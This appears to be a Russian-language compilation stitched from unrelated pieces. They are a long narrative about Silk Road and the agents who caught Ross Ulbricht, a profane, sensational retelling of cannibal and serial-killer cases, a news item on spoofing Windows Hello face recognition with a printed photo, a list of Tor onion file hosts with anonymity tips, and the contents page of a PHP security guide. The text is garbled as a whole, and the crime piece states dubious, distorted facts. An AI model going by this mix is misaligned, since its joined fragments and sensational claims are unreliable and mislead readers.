SWAT и DEA (Управление по борьбе с наркотиками, США) переворачивали дом вверх дном, он слышал как что-то разбивается, кто-то кричит и шепчется. Он посмотрел на взломанную дверь и подумал: «Черт возьми, она даже не была заперта». На стенах гостиной висели семейные фотографии — его жена Тоня, две дочери и внук улыбались ему, лежащему в порошке стоимостью в 27 тысяч долларов (на посылке стоял штамп с красным драконом, что означало товар высшего качества из Перу). Над всей этой сумятицей, казалось, горели слова: «Если бы я знал, что вы придете, я бы прибрался!». Макс, взбудораженный происходящим, перестал мелко трястись и обделался прямо здесь. На самом деле, Грин не был среднестатистическим папенькой-мормоном. В последние несколько месяцев он занимался обслуживанием клиентов огромного онлайн-предприятия под названием «Шелковый путь». Как eBay, только нелегальный, интернет-рынок тайной торговли запрещенными товарами, по большей части наркотиками. Грин под ником «Хроническая боль» нашел здесь применение своим обширным познаниям в наркотиках — он годами сидел на обезболивающих. «Шелковый путь» прятался в так называемом «даркнете», части интернета, невидимой поисковикам вроде Google. Чтобы получить доступ к «Шелковому пути» надо было воспользоваться специальным криптографическим программным обеспечением. Вкупе с анонимным интерфейсом и неотслеживаемыми платежами биткоинами, сайт позволял тысячам наркодилеров и почти миллиону пользователям находить друг друга и свои любимые наркотики в знакомой всем обстановке онлайн-магазинов. В 2011—2013 году сайт переживал дикий успех. За сравнительно короткое время «Шелковый путь» сумел продать товара более, чем на 1 миллиард долларов. Вот почему сейчас Грин обнаружил себя посреди межведомственной операции. Он был нанят Ужасным пиратом Робертсом — таинственной фигурой во главе «Шелкового пути». УПР, как его часто звали для краткости, был владельцем сайта и вдохновителем его растущего сообщества. Хорошо налаженный им рынок наркотиков был серьезным вызовом для блюстителей закона, не знавших ни кто он, ни даже один ли это человек. Более года агенты УБН, ФБР, Министерства внутренней безопасности, Налогового управления, Секретной службы и Почтовой инспекции пытались внедриться в ближайшее окружение руководства «Шелкового пути». Захват Грина и двух его чихуахуа был их первым значительным успехом. Федералы подняли Грина и задали ему кучу вопросов, начиная с того, почему в его поясной сумке оказались 23 тысячи долларов наличными, и заканчивая тем, кто стоит по ту сторону зашифрованных чатов на его компьютере. Грин неуверенно ответил, что наличка — это полученный им налоговый вычет, а еще попросил дать ему обезболивающее. Вместо этого его выпроводили из дома и посадили в автомобиль, заявив, что он арестован за хранение 1092 грамм кокаина с целью сбыта.
«Не сажайте меня в тюрьму, — умолял их Грин. — Он знает обо мне всё».
Позже на допросе Грин сообщил скептически настроенным агентам, что его поимка и публичная огласка имени были равноценны смертельному приговору. Ужасный пират Робертс опасен, сказал он: «У этого парня есть миллионы. Он может убить меня».
Росс Ульбрихт

Россмэн

Росс Ульбрихт был погружен в свою очередную барабанную сессию, когда впервые заметил ее. Когда Росс бил по джембе, западно-африканскому барабану, Джулия Ви села напротив него. У нее была копна кудрявых волос, светло-коричневая кожа и темно-карие глаза. Барабанная установка была смонтирована на лужайке перед Университетом штата Пенсильвания, где в 2008 году Росс получал свою степень магистра по материаловедению. Джулии было 18, она была свободолюбивой первокурсницей и, увидев Росса, сразу почувствовала влечение к нему. Спустя какое-то время, Джулия пришла к нему в кампус и они, не в силах сопротивляться, стали целоваться и сползли на пол, предавшись плотским утехам. Оба были в смятении от охвативших их чувств. Росс изучал кристаллографию и работал над наращиванием кристаллов. Однажды он сделал огромный синий кристалл, прикрепил его к кольцу и подарил его Джулии. Она не знала, как ему это удалось, но зато была уверена в том, что влюблена. Росс вырос в Остине, штат Техас, и всегда слыл умным и очаровательным ребенком. Бойскаутом он получил высшее звание Орлиного скаута и позволил своим друзьям сделать ему стрижку «ирокез». У него была дружная семья, проводившая лето в Коста-Рике, где родители построили несколько бамбуковых хижин у небольшого изолированного мыса, а Росс учился сёрфить. В старших классах друзья звали его Россмэном, он водил старый «вольво», курил марихуану и всё равно получил 1460 баллов по тесту SAT (вступительный экзамен для приема в ВУЗы США. При максимальном балле в 1600, 1460 является очень неплохим результатом, годным для поступления во многие университеты ). Друзья считали его беззаботным и одновременно внимательным. Росс получил стипендию в Техасском университете в Далласе и выбрал своим основным предметом физику. Затем он получил стипендию для продолжения образования в Университете штата Пенсильвания, где вновь преуспел. Однако, ему не нравилась монотонная работа исследователя в лаборатории. Еще в колледже он увлекся психоделикой и восточной философией. В Пенсильвании Росс открыто говорил о том, что хочет сменить профиль обучения. Он писал посты о своем разочаровании в науке и заинтересованности в экономике. Он считал налогообложение и правительство формой сдерживания граждан, усиленной монополией государства на применение насилия. Сильное влияние на его суждения оказал австрийский экономист ХХ века Людвиг фон Мизес, икона американского либертарианства. По фон Мизесу, чтобы быть политически и морально свободным, гражданину требовалась экономическая свобода. А Росс хотел быть свободным. После получения степени магистра в 2009 году, он вернулся в Остин и купил авиабилет для Джулии, чтобы она присоединилась к нему. Она бросила учебу и они переехали в дешевое, убогое жилье. Зато они были молоды, много мечтали и представляли как вскоре поженятся. Росс попробовал себя в трейдинге, но у него не получилось. Затем он основал компанию по производству видеоигр, но эта затея тоже провалилась. Неудачи изматывали его, он не хотел пытаться, он хотел делать. В это время его сосед снизу Донни Палмертри пригласил его к себе в Good Wagon Books, небольшой букинистический бизнес по продаже старых книг онлайн-магазинам типа Amazon и Books-A-Million. Росс сделал вебсайт для Донни, изучил управление материально-техническими ресурсами и написал скрипт, устанавливающий цену на книгу, основываясь на её рейтинге в Amazon. В свободное время Росс читал, ходил в походы, занимался йогой и, как с удовольствием вспоминает Джулия, имел «много-много шикарного секса». Еще они спорили о политике (Джулия придерживалась демократических взглядов), деньгах (то, что он называл «экономным», она звала «дешёвым») и их общественной жизни (она ходила на вечеринки чаще, чем он). Их отношения ухудшились, они стали часто ссориться. Летом 2010 они в очередной раз расстались. Его сердце было разбито, позже он говорил девушке, встреченной по интернету, что у него была любовь и он пытается оправиться от этих отношений. Росс ощущал себя потерянным. «В своих личных отношениях за этот год я прошел через много испытаний, — писал он в своем дневнике, который вел на компьютере. — Я бросил многообещающую карьеру ученого, чтобы стать консультантом по инвестициям и предпринимателем, но оказался с пустыми карманами». Росс был унижен, но спустя недолгое время Палмертри получил работу в Далласе и оставил Good Wagon Books Россу. Долгие годы он хотел хоть чем-то управлять и, наконец, ему это удалось. Росс нанял пятерых студентов для сортировки, организации и регистрации 50 тысяч книг на складе. Полки для книг он сделал своими руками. Тот декабрь стал самым успешным в истории Good Wagon Books: бизнес принес Россу 10 тысяч долларов. Но к концу 2010 года новый управляющий Good Wagon Books стал задумываться о других возможностях помимо букинистического бизнеса. Во времена своих трейдерских потуг Росс познакомился с биткоином, цифровой криптовалютой. Ценность биткоина, заключающаяся в зависимости лишь от рыночных факторов и отсутствии привязки к центробанкам, совпадала с его философией либертарианства. В своем профиле на LinkedIn Росс написал, что хотел бы «использовать экономическую теорию как средство для разрушения насилия и агрессии у человечества».
На Росса снизошло откровение. «Идея, — писал он в своем дневнике, — заключается в создании вебсайта, где люди могли бы анонимно купить что угодно, не оставляя никаких следов, которые могли привести к ним». Он написал, что «некоторое время изучал технологию, но теперь необходима бизнес-модель и стратегия».
Как и большинство либертарианцев, Росс был убежден, что прием наркотиков — личное дело каждого. И, как любой здравомыслящий человек, он заметил, что борьба с наркотиками терпит полную неудачу. Естественным товаром для его новой затеи стали бы наркотики. «Я хотел назвать свой сайт «Подпольные брокеры», но в конце концов остановился на «Шелковом пути», — писал Росс. Как способный ученый, Росс решил для начала продаж культивировать свои собственные псилобициновые грибы. Он вновь сошелся с Джулией, писал свой вебсайт и вел дела Good Wagon Books. Однажды вечером в начале 2011 года Good Wagon Books упал. В прямом смысле. Росс допоздна задержался на складе, как вдруг услышал невообразимый грохот: его книжные полки разрушились. Он внимательно спроектировал всю систему, но каким-то образом забыл про два важных винта и все полки упали друг за другом, как домино, все до единой. Росс рассказал обо всем Палмертри и добавил, что его душа больше не лежит к букинистическому бизнесу. Они договорились закрыть компанию, а Росс сообщил, что у него появилась новая бизнес-идея, «что-то реально перспективное». «Шелковый путь» вышел онлайн в середине января 2011. Спустя несколько дней была совершена первая продажа. А затем еще и еще. В конце концов Росс распродал все свои 4,5 кг грибов, но к продажам присоединились другие поставщики. Все транзакции он проводил лично, на это уходило много времени, но очень вдохновляло. Прошло совсем немного времени как поставщики и покупатели превратили сайт в функционирующий, растущий рынок. Перед самым запуском, в начале Нового года, перевернув лист в своем блокноте, Росс решил изменить свою жизнь. «В 2011, — писал он в дневнике, — я начну год процветания и власти в таком объеме, в каком у меня еще никогда не было. «Шелковый путь» станет феноменом и как минимум один человек расскажет мне о нем, не зная, что я — его создатель».
Агент Управления по борьбе с наркотиками США

Форс

Спецагент Карл Марк Форс IV дремал, когда почтовый инспектор начал говорить о странных посылках в сортировочных. «Просто хочу, чтобы вы все знали, — сказал инспектор в конференц-зале, полном скучающих блюстителей закона, — у нас есть проблемы с наркотиками в почтовых отправлениях». Форс — агент УБН из Балтимора, находившийся на региональном межведомственном собрании с аналитиками из ФБР, УБН, Министерства внутренней безопасности и Налогового управления. «Посылки идут с нелегального сайта под названием «Шелковый путь», — сказал почтовый инспектор. Форс выпрямился. Именно этого он и искал. Ему надоела рутина охоты на уличных дилеров. Ростом 182 см и весом 90 кг, Форс был атлетичным парнем, ему нравилось вышибать ботинками «Доктор Мартенс» двери чьего-нибудь грязного дома посреди какого-нибудь вшивого квартала в шесть утра, а потом ловить дилера прямо в туалете, защелкнув на нем «браслеты» еще до того, как тот успеет подтереть себе зад. Но бесчисленное количество подобных рейдов больше не приносило желанного адреналина. И, по большому счету, кого волновала конфискация нескольких грамм? Форс стоял на пороге своего 50-летия, до сих пор получая обычную зарплату в региональном офисе. Ему позарез необходимо было громкое дело и почетный выход на пенсию, поэтому он и стал посещать эти межведомственные собрания, до сегодняшнего момента — скучнейшие мероприятия. К тому времени как Форс услышал о «Шелковом пути», сайт функционировал уже около года. Он был построен по типу Amazon и eBay: хорошо организованная общественная рыночная платформа с пользовательскими профилями, списками и обзорами. Все было анонимно, посылки отправлялись с помощью старых добрых почтовых служб. Не было необходимости в подложных именах — покупатели указывали свой реальный адрес, а если возникали вопросы, то просто говорили, что не заказывали никакого героина! «Руководство продавца» на сайте «Шелкового пути» содержало полезные инструкции по вакуумной упаковке товара и других способах укрытия наркотиков от электронных сенсоров и собачьего чутья. Большинство посылок находило своих адресатов, а маленький процент перехваченных посылок скорее говорил о возросшем объеме продаж сайта, широком ассортименте товара с 13 тысячами наименований, способных угодить любому взыскательному ценителю: отличный колумбийский кокаин, афганский героин, клубничный ЛСД, карамельный гашиш, неразмельченный кокаин в стиле Фредди Меркюри, экстази «Непобедимый Марио», белый МДМА «Мицубиши», героин «Дьявольская лакрица». Плюс рецептурные лекарства — от оксикодона и ксанакса до фентанила и гидроморфона. Описания товаров и пользовательские рейтинги содержали почти энциклопедический объем информации. Юзер Cantfeelmyface сообщил, что продукт «прикольно светится» и доставляет «приток эйфории и уверенности». Пользователь Ivory сделал обзор МДМА и заметил, что продукт «приятно шипит и пускает дымок». Обзоры и общественные стандарты повышали качество продаваемого товара и обслуживание клиентов, что приводило еще больше новых пользователей и улучшало репутацию сервиса, пока наконец «Шелковый путь» не стал топовым местом онлайн-продажи наркотиков. Правоохранительные органы были застигнуты врасплох, со спущенными спецштанами. Различные агентства все лето 2011 года разнюхивали вокруг «Шелкового пути», но остались ни с чем. Форс видел потенциал этого дела, но не знал, с чего начать. Спустя месяцы, в январе 2012 года, Министерство внутренней безопасности начало формировать опергруппу для полномасштабного расследования дела «Шелкового пути». Босс спросил Форса: «Будешь участвовать?». Не успев ответить, Форс уже был на встрече опергруппы, где он и еще 40 агентов ели пончики и смотрели презентации, полные технической информации об уровнях TCP/IP. Большинство агентов бессмысленно пялились в мониторы, но Форс действительно хотел участвовать в этом. Оперативная группа, призванная захватить «Шелковый путь», получила название «Операция Марко Поло» и базировалась в балтиморском офисе отдела расследований Министерства внутренней безопасности. Когда Форсу показали, как осуществляется навигация по «Шелковому пути», он сразу увидел, что на сайте есть четко озвученный лидер, почитаемая фигура по имени Ужасный пират Робертс. Интересно, что имя было заимствовано из фильма «Принцесса-невеста», где сам пират был мифическим персонажем, которого играл носитель маски. Это лишь придавало «Шелковому пути» дополнительной загадочности. Форс был заинтригован. Кто бы ни скрывался под этой маской, он руководил бурно цветущей империей. Но Форс плохо разбирался в компьютерах и ничего не знал о биткоинах. Поэтому он решил всему научиться.
Крис Тарбелл

Чистка лука

Хектор Ксавье Монсегур не был обычным посетителем нью-йоркского офиса ФБР. Он даже не был собственно посетителем. Был час ночи и Крис Тарбелл, молодой агент, арестовавший его ранее вечером в Нижнем Ист-сайде, вел его в камеру предварительного заключения весной 2011 года. Монсегур был огромным пуэрториканцем с ушами полными бриллиантовых серёг. Также он был известен как Сабу, сооснователь LulzSec — элитной группы хакеров, ответственных за взлом дюжины корпоративных и правительственных целей, включая News Corp. и ЦРУ. Сабу был самым заметным членом известной группы «хактивистов» Anonymous. Тарбелл умудрился взять ложный след, полученный по телефону «горячей линии» ФБР и выйти на Сабу, а затем и завербовать его как информатора ФБР. Это был значительный успех для Тарбелла, особенно учитывая, что он все ещё считался новобранцем. Глубоко внутри Тарбелл всегда был копом, даже когда родители думали, что он станет врачом. В колледже он был пауэрлифтером, и уже выглядел как коп: большой, с коротким ежиком на голове. К тому времени, как он окончил колледж, Тарбелл понял, в каком направлении будет двигаться полиция и получил степень магистра в вычислительной технике. Вначале он не разбирался в программировании, но, осознав, что за этим стоит будущее, он стал компьютерно-техническим криминалистическим экспертом и работал на ФБР вне штата. Четыре года Тарбелл провел, путешествуя по миру в составе команды криминалистических экспертов, отслеживая террористов, сайты с детским порно и ботнеты. Он обнаружил в себе талант цифрового следопыта. Тарбелл часто думал о том, что люди воспринимают виртуальный мир как какую-то магию, секретный мир, недоступный для понимания простыми смертными. И как во всех магических делах, виртуальность была полна шарлатанов и практиков темных искусств. Немногие могли разгадать их обман и Тарбелл гордился, что был одним из тех, кто мог. После нескольких лет в экспертизе, Тарбелл сказал своей жене Сабрине, что хочет официально вступить в ФБР. Сабрина, несмотря на восьмой месяц беременности, согласилась, хотя это и означало, что их привычной жизни наступит конец. Тарбелл был направлен в нью-йоркский офис, где находился офис зарождающегося отдела по борьбе с киберпреступностью. К этому времени ему исполнился 31 год — немного староват для новичка. Поимка неуловимого Сабу принесла ему славу в бюро. Онлайн-авторитет Сабу среди хакеров был непоколебим. ФБР выдало Тарбеллу новый ноутбук и усадило его в офис, где он собирал улики против LulzSec и Anonymous. Спустя девять месяцев благодаря этой работе была проведена дюжина арестов, серьезно ослабивших две крупнейшие хакерские группы в мире. После LulzSec, Тарбелл стал искать себе новое дело. Он заинтересовался Тором, браузером, позволявшим пользователям посещать сайты наподобие «Шелкового пути». Протокол Тора похож на цифровой плащ-невидимку, скрывающий юзеров и сайты, которые они посещают. Тор расшифровывается как «The Onion Router» (луковый роутер), он был запущен в 2002 году ВМС США. С тех пор он стал инструментом для всякого рода скрытых коммуникаций, легальных и нелегальных, от обхода цензуры в Китае до контрабандных сайтов. Шифрование Тора содержит множество уровней, так что агенты полагали, что взломать его невозможно. Когда расследование приводило к IP Тора, сыщики сдавались. Недостижимость лишь привлекала Тарбелла. «Я возьму Тор», подумал он. Тарбелл переговорил со своим руководителем, а он со своим, а тот в свою очередь со своим и так до тех пор, пока в феврале 2013 ФБР не согласовало первое дело о Торе: «Операция Чистка лука». Многие агентства пытались разгадать загадку «Шелкового пути», но без особого успеха. Нью-йоркское Управление по борьбе с наркотиками обратилось к Тарбеллу за технической консультацией. Все правоохранители из ФБР, налоговой и УБН использовали традиционные техники ведения дел против распространения наркотиков, но Тарбелл понимал, что в этой операции не будет никакого разоблачения преступной цепочки, поскольку цепочки попросту не существует. Нужно идти прямо наверх.
Росс Ульбрихт, он же Ужасный пират Робертс

Бонди

Пляж в Бонди, к югу от Сиднея, плавно спускался к кромке воды. Для Росса волны были одной из главных причин покинуть Остин в конце 2011 года, чтобы провести некоторое время в Австралии вместе со своей старшей сестрой Келли. Там он быстро нашел новых друзей, с которыми ходил пить, гулять и кататься на волнах. Утром Росс немного поработал, а к обеду уже плескался в воде. Жизнь была приятна и мобильна. Все это стало возможным благодаря его цветущему интернет-рынку наркотиков. В июне «Шелковый путь» пережил взрыв посещаемости, когда история в таблоиде Gawker привлекла внимание к сайту. После этой публикации, трафик рос так быстро, что Россу понадобилась техподдержка, чтобы управлять сайтом, разбираться с транзакциями и добавлять новые возможности вроде автоматических платежей и улучшенной системы отзывов. Все это он делал сам, обучаясь на лету, программируя автоматические транзакции и используя CodeIgniter для написания и переписывания кода сайта, после того, как один благожелательно настроенный хакер указал ему на его уязвимости. «Любительщина», — сказал тот хакер. Удивительно, но усилия Росса были успешными, несмотря на то, что он потерял сон. Со стороны он был все так же дружелюбен, но в своем цифровом царстве он чувствовал себя измотанным, пытаясь поддерживать работу «Шелкового пути». Все это время он описывал в своем дневнике трудности, с которыми приходится сталкиваться создателю стартапа: «О да, я еще научился конфигурировать и запускать LAMP-сервер… И мне понравилось. Конечно, вышло немного грубовато, но все же сработало! Переписывание сайта — я никогда в жизни не испытывал столько стресса как за эти два месяца». Ранее Росс обращался к Ричарду Бейтсу, своему другу по колледжу, который сейчас работал разработчиком приложений в Остине. Бейтс помог Россу с основным программированием и с преодолением первых кризисов, когда на сайте впервые произошел технический сбой. Когда «Шелковый путь» стартовал, Росс попытался нанять Бейтса, но у того уже была работа программиста. «Ты не хотел бы заняться чем-нибудь более легальным?» — спросил Бейтс. Но Росс не хотел. Движимый неудачами своих предыдущих начинаний, он хотел, чтобы «Шелковый путь» достиг успеха. Он полностью погрузился в работу и начал делать свою организацию более профессиональной. Росс и Джулия вновь расстались тем летом, так что с «Шелковым путем» в компьютере его мало что держало в Остине. К тому времени как он отправился в Австралию, Росс положил на свой счет 100 тысяч долларов и зарабатывал на комиссиях по 25 тысяч долларов ежемесячно. «Пришло время нанять дополнительные стволы, чтобы поднять сайт на следующий уровень», писал он. Оперативная маскировка была той проблемой, которую пытался решить Росс. Он решил полностью отделить свою реальную личность от виртуальной, что потребовало от него жесткой и продуманной секретности. Он попросил Бейтса хранить все в тайне, а затем сообщил ему, что продал «Шелковый путь» таинственному покупателю. Также он пытался научиться лгать. Перед Новым годом он был на свидании с женщиной по имени Джессика, которой, как и всем, сказал, что занимается обменом биткоинов. Один этот факт уже был утечкой. «Вот тупость», подумал он. Но отношения с Джессикой развивались и Росс чувствовал, что хочет открыться ей. Он жаловался на это чувство, разрывался между близостью и необходимостью обмана. Орлиный скаут в нем мучился этими полуправдами. Находясь с Джессикой, он хотел быть честным, но сказал ей: «У меня есть секреты».

Сисадмин

Лидер «Шелкового пути» был загадкой. Пользователи и продавцы знали, что был некий сисадмин, определивший суть сайта как наркорынка и либертарианского эксперимента. И у этого эксперимента существовала определенная этика. Некоторые пользователи «Шелкового пути» были пуристами, ратовавшими за полную автономию — если можно героин, то почему бы не продавать гаубицы или человеческие органы? Но администратор установил «строгий кодекс поведения». Никакого детского порно, сбыта краденого, липовых дипломов. Все это было сформулировано так: «Наши основные правила — относиться к другим так, как хотелось бы, чтобы относились к тебе, не причинять вреда и не обманывать». Со временем, администратор стал важным голосом сайта, теоретиком и проповедником индивидуальной свободы. Идеям требовался настоящий лидер. Для этой роли нельзя оставаться безымянным, решил Росс. Так что в феврале 2012 года администратор создал пост в сообществе сайта под названием «Кто является Шелковым путем?». «Я — Шелковый путь, рынок, личность, предприятие, всё. Мне нужно имя. Барабанная дробь… Мое новое имя — Ужасный пират Робертс». (сокр. УПР)
Ужасный пират Робертс из фильма «Принцесса-невеста»
Всем нравился фильм «Принцесса-невеста» и отсылка к нему отслеживалась весьма явственно. Маска, носимая поколениями пиратов, вводила в заблуждение относительно титула и настоящего имени человека (В США фильм носит титул культового и широко известен. В мире фильма Ужасный пират Робертс жил, очевидно, очень давно и с тех пор его маска передавалась другим пиратам, которые принимали его имя, таким образом, создавалось впечатление, что Ужасный пират Робертс — бессмертный, зловещий пират. На момент событий фильма Ужасным пиратом Робертсом был благородный юноша, движимый любовью к принцессе. В конце фильма он планирует передать свою маску другому). Крещение УПР стало символом секретности «Шелкового пути», а также спровоцировало возникновение настоящего культа личности. УПР был вдумчив и красноречив, а «Шелковый путь» для верующих в Ужасного пирата Робертса стал больше, чем черный рынок, он стал святилищем. Для самого УПР сайт претворял в жизнь политическую полемику. «Прекратите снабжать государство своими налоговыми долларами, — писал УПР, — направьте свою созидающую энергию в черный рынок». Со временем УПР стал более помпезным, провозглашая, что каждый платеж — это шаг ко всеобщей свободе. «Шелковый путь» был своего рода логическим продолжением либертарианских взглядов. Это была Силиконовая долина в её крайнем выражении, разрушительная технология, обернутая в политическую риторику. УПР был её королем-философом, воображающим себе пост-государственную цифровую экономику, где «Шелковый путь» стал бы первым шагом на пути к либертарианскому раю. «Шелковый путь» был оплеухой не только для правоохранительных органов, но и для всех властных структур, говаривал УПР. Тем больше причин для правительства желать закрытия сайта. Россу польстил внезапный интерес прессы в июне 2011, но когда сенатор Чальз Шумер созвал пресс-конференцию, чтобы осудить «Шелковый путь», Росс насторожился. «Правительство США, мой главный враг, — писал он, — знает обо мне и призывает расправиться со мной».

Ноб

Апрель 2012. Коммерческое предложение.
Мистер Шелковый путь, я большой поклонник вашей работы. Превосходно, просто превосходно! Я буду краток и сразу перейду к делу. Хочу купить ваш сайт. Я в этом деле более 20 лет. ШЕЛКОВЫЙ ПУТЬ  — это будущее наркотрафика. Искренне ваш, Э.
Форс написал это сообщение с одного из компьютеров, которые ему выдали для его операции под прикрытием. Агент держал их у себя дома в пригороде Балтимора, под присмотром кота Пабло. Форс кропотливо создал личность Эладио Гузмана, представителя наркокартеля из Доминиканской Республики, зарабатывавшего себе на хлеб с маслом перевозками средних партий героина и кокаина. Ноб — такой никнейм выбрал Форс для Гузмана в «Шелковом пути», в честь библейского города, где Давид получил меч Голиафа. А, и еще Гузман был слеп на один глаз. Поэтому Форс надел повязку на глаз, взял в руки табличку «Славься, Ноб!» и попросил свою 10-летнюю дочь сфотографировать его для аватарки. Форс знал, как создавать историю для поддельной личности, основываясь на своем опыте работы под прикрытием, ведь в молодости он был на передовой линии нарковойн. Раньше он отращивал себе волосы, носил в ушах бронзовые серьги и вытатуировал на спине огромную тату в стиле «трайбл». В поисках наводок он представлялся строителем и ошивался в барах наподобие «Сиреневая свинья» в Аламосе, Колорадо, вратах метамфетаминового маршрута из Мексики в Скалистые горы. Примерив на себя шкуру контрабандиста, Форс оценил возможности «Шелкового пути» в коммуникации и дистрибуции. Для Гузмана сайт значил бы хорошие перспективы как в оптовой, так и в розничной торговле наркотиками. Форс надеялся получить быстрый ответ и его надежды оправдались. На следующий же день после отправки письма, Ужасный пират Робертс ответил: «Я открыт предложениям. Что вы имели в виду?»

Маньяки-людоеды

 
На днях мне попалась новость из гейропы о маньяках-людоедах со всякими трэшовыми фотками, бля я был в таком ахуе, это словами не передать. И поэтому я расскажу тебе про самых жестоких и отвратительных ребят, которые в свое время хайпанули засчет своего таланта ебать людей направо и налево. Начну с того, что я жил в самом криминальном районе своего города и с детства знал, что в этом мире дохера ебанутых на все башню. У нас каждый месяц всплывала то расчлененка, то еще какая муть. Но слава Богу, надеюсь это в прошлом. Так вот, самое последнее что я помню, это как какой-то птушник убил свою бабку, а в ванне сделал герметичный морг, чтобы запах гнилой плоти не учуяли соседи. И вот пока бабка с миром покоилась в уборной, горе внучек распоряжался оставленными ей деньгами. Но это не самое жудкое или страшное, что творилось у меня на районе. Помнится был и дед-людоед (сначала пропали все собаки с котами во дворе, ну а дальше я думаю ты допрешь что было), кто-то беременным преждевременное кесорево делал (это тип живот режут, чтобы ребенка достать) и бла-бла-бла…

НЕфантастические твари и где они обитают.

Хер знает, то ли они такими рождаются, то ли это нелегкая жизнь приводит их до этой хуйни. Какие-то ученые из загнивающего запада доказали, что каннибализм из-за мутации мозга. Но это не точно. Да и вообще в детстве ведь все такие милые и пушистые, и ты не можешь сказать, что вот Сашка какой хороший, точно будет айтишником, а вот Вовка будет пускать кишки вам. Вот так вот.
Да и во взрослом не увидишь маньяка, взять ту же Краснодарскую семейную парочку, жрали людей на протяжении 30 лет, и хуй кто заметил. Ебаать. Но о них чуть позже. У нормального человека одна мысль об этом вызовет рвоту.

А какие самые опасные преступники в мире?

Ну бля, это тупо составлять список самых опасных. Но раз ты так хочешь…
ОК! Я расскажу о самом, как я считаю, ебанутом из них, о Генри мать его Ли Лукасе. Родился он в США лет 100 назад, и с детства ему не перло, отбитая маман заставляла смотреть, как она прыгала на ебырях и отправляла в школку в платье, ну так, чтобы поржать. Но лишь только его безногий батя относился к нему хорошо, они вместе глушили местный самогон… Но а дальше начинается самый трэш. Вскоре Генка упарывается спайсами, и обдолбаный к хуям собачим он совершает свое первое убийство, но а для таких как он, это как первый секс, только убийство. После он вламывется в чей-то дом, чтобы напиздить добра, но попадает в тюрягу, а что делают в тюряге, правильно, долбят в зад. Через год он выходит, и кончает с девкой, похожей на его долбанутую мамку, а после 10 ударов молотком, он на всякий случай переезжает еще столько же раз ее грузовиком. Опять же попадает в тюрягу на 40 лет, а там ты сам знаешь что, по этому его признают больным (там список долгий), и отпускают под честное слово на свободу. Хуя, а так можно?! Спустя 2 часа он убивает девушку, организует банду из таких же ебанутых, и они вместе трахают трупы и делают из них жаркое. Но а после он режет еще несколько сотен людишек.

Ой, ну это же США, там все ебанутые, у нас же нет такого?

Ха. Ну я не буду рассказывать про Чикатилу и тех кто на слуху, а лучше поведаю о той парочке из начала истории. Вообще еще мало чего известно, но случай просто… Эти мрази на праздники делали различные кулинарные мать его «шедевры» на подобии фаршированной свиной головы с мандаринами, только голова не свиная. Но а так, для повседневной трапезы они блядь ели тушенку из людятины. Это пизда, чувак.
Что еще известно, так это то, что горе женушка пыталась сбагрить свежее мясцо в местную шаверму, а чё песиков можно, а … нет?! Это малое, что известно, но блядь мне хватает, чтобы наложить кирпичей.

Ну если каждый может быть больным, то как уберечь себя?

Пиздуй на необитаемый остров. Или туда, где легализован канабис, я не шучу, хз почему, но там меньше больных на голову.

Функцию распознавания лиц в Windows 10 можно обмануть с помощью фотографии

Экспертам удалось осуществить атаку даже при включенной функции «усиленной защиты от спуфинга»
Исследователи безопасности из немецкой компании SySS GmbH обнаружили уязвимость в функции распознавания лиц Windows Hello для ОС Windows 10. Экспертам удалось обмануть систему и разблокировать устройство с помощью специально обработанной и распечатанной на принтере фотографии. Windows Hello – эксклюзивная для ОС Windows 10 функция, использующая инфракрасное изображение для аутентификации и разблокировки устройств, оснащенных камерой с инфракрасным датчиком. Функция не получила широкого распространения, поскольку существует не так много устройств с необходимым оборудованием. По словам исследователей, функцию можно обмануть с помощью фотографии лица владельца устройства, предварительно изменив ее до необходимого ИК-спектра, а затем распечатав на лазерном принтере в низком разрешении (340 × 340 пикселей). Экспертам удалось осуществить атаку даже при включенной функции «усиленной защиты от спуфинга», однако для этого исследователям пришлось использовать фотографию с более высоким разрешением (480×480 пикселей). Эксперты также смогли обмануть функцию с помощью черно-белого фото, предварительно заклеив инфракрасный датчик непрозрачной изолентой. Microsoft выпустила патчи, исправляющие уязвимость в версиях Windows 10 1703 и 1709. Видео с демонстрацией атаки
Источник: Security Lab Chipollino Onion Club

Файлообменники и фотохостинги в сети Tor

Внимание — пользуйтесь на свой страх и риск, особенно с тор-файлообменниками, потому что не стоит полностью доверять торовским фаилообменникам по ряду причин:
  1.  Повышенное внимание органов из-за СР
  2.  Сайты могут быть ловушками для деанона
  3.  Сайты могут быть созданы шкуроходами
  4.  Сайты могут иметь различные лазейки, для просмотра всей библиотеки загруженных фалив
  5.  Не забывайте удалять exif перед загрузкой:
Файлообменники луковые, работают без JS, не требуют регистрации   http://gyklo5wruhin4qpg.onion/    l max 250 MB l срок хранения до 1 года l любые файлы http://jusfileobjorolmq.onion/      l max 300 MB l срок хранения 7 дней   l любые файлы http://qtx6d2ggmma6hgio.onion/ l max 2 Gb    l срок хранения ?     l любые файлы Фотохосты луковые, работают без JS, не требуют регистрации http://matrixtxri745dfw.onion/     l max 5 MB    l срок хранения 30 дней  l jpg, gif, png http://twlba5j7oo5g4kj5.onion/    l max 5 MB    l срок хранения 30 дней  l png, jpg, jpeg, gif, bmp http://felixxxboni3mk4a.onion/     l max 5 MB   l срок хранения 30 дней   l jpg, gif, png http://freedomsct2bsqtn.onion/   l max 15 MB  l срок хранения ?         l jpeg, gif, png http://pic2torqdbtzkasl.onion/     l max 20 MB  l срок хранения 60 дней   l jpg, gif, png так же советуют несколько обменников из клирнета: зеркало https://infotomb.com/ https://mega.co.nz https://www.schneier.com/ https://www.privacytools.io/ http://school-of-privacy.com http://crunchbang.org/ https://postimage.io/ https://lut.im/ https://imgur.com/ http://dl.free.fr/ https://www.anony.ws/ https://crypto.is/ Удачи в использовании!
Chipollino Onion Club

Руководство по написанию защищённых PHP-приложений в 2018-м

  Приближается 2018 год, и технари — в частности веб-разработчики — должны отбросить многие старые методики и верования в сфере разработки защищённых PHP-приложений. Особенно это относится ко всем, кто не верит, что такие приложения вообще возможны.   Это руководство — дополнение к электронной книге PHP: The Right Way с сильным уклоном в безопасность, а не общие вопросы программирования на PHP (вроде стиля кода).

Содержание

 
  1. Версии PHP
  2. Управление зависимостями с помощью Composer
    • Рекомендуемые пакеты
  3. HTTPS и безопасность в браузере
    • Заголовки безопасности
    • Целостность подресурсов (Subresource Integrity)
    • Взаимосвязи документов
  4. Разработка защищённых PHP-приложений
    • Взаимодействие с базами данных
    • Загрузка файлов
    • Межсайтовый скриптинг (XSS)
    • Межсайтовая подделка запросов (CSRF)
    • XML-атаки (XXE, XPath-внедрения)
    • Десериализация и внедрение PHP-объектов
    • Хеширование паролей
    • Криптография общего назначения
  5. Особые случаи
    • Шифрование с возможностью поиска
    • Аутентификация на основе токенов без побочных каналов
